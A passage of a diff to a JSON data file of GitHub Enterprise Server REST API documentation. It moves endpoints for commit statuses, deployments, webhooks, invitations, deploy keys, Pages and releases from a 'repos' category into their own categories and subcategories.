signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -51413,8 +51389,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -51518,8 +51494,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -51622,10 +51598,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>To process a response with a large number of commits, you can use (<code>per_page</code> or <code>page</code>) to paginate the results. When using paging, the list of changed files is only returned with page 1, but includes all changed files for the entire comparison. For more information on working with pagination, see \"<a href=\"/rest/guides/traversing-with-pagination\">Traversing with pagination</a>.\"</p>\n<p>When calling this API without any paging parameters (<code>per_page</code> or <code>page</code>), the returned list is limited to 250 commits and the last commit in the list is the most recent of the entire comparison. When a paging parameter is specified, the first commit in the returned list of each page is the earliest.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -53105,10 +53079,8 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -53311,10 +53283,8 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub Enterprise Server we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/enterprise-server@3.3/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -53507,10 +53477,8 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -53591,10 +53559,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -53699,10 +53665,10 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -53885,10 +53851,10 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -54061,10 +54027,10 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -54274,8 +54240,8 @@
       "subcategory": "environments"
     },
     "slug": "get-all-environments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -54353,8 +54319,8 @@
       "subcategory": "environments"
     },
     "slug": "get-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -54587,8 +54553,8 @@
       "subcategory": "environments"
     },
     "slug": "create-or-update-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "contentType": "application/json",
@@ -54814,8 +54780,8 @@
       "subcategory": "environments"
     },
     "slug": "delete-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -57547,10 +57513,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -57833,10 +57799,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -58113,10 +58079,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -58417,10 +58383,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -58710,10 +58676,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -58792,10 +58758,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -58937,10 +58903,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -59085,10 +59051,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-deliveries-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a list of webhook deliveries for a webhook configured in a repository.</p>",
@@ -59182,10 +59148,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a delivery for a webhook configured in a repository.</p>",
@@ -59279,10 +59245,10 @@
       "subcategory": "webhooks"
     },
     "slug": "redeliver-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "responses": [
       {
@@ -59366,10 +59332,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -59448,10 +59414,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -59618,8 +59584,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -59725,8 +59691,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -59822,8 +59788,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -63813,8 +63779,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -63929,8 +63895,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -64042,8 +64008,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -64126,8 +64092,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -65056,10 +65022,8 @@
       "subcategory": "branches"
     },
     "slug": "sync-a-fork-branch-with-the-upstream-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Sync a branch of a forked repository to keep it up-to-date with the upstream repository.</p>",
@@ -65194,10 +65158,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -66332,10 +66294,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -66497,10 +66457,8 @@
       "subcategory": "pages"
     },
     "slug": "create-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub Enterprise Server Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -66755,10 +66713,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -66903,10 +66859,8 @@
       "subcategory": "pages"
     },
     "slug": "delete-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -67001,10 +66955,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-enterprise-server-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -67070,10 +67022,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -67139,10 +67089,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -67217,10 +67165,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -72572,10 +72518,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/enterprise-server@3.3/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -72737,10 +72681,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.3/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -72889,10 +72831,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -73026,10 +72968,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -73134,10 +73076,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -73259,10 +73201,8 @@
       "subcategory": "releases"
     },
     "slug": "generate-release-notes-content-for-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
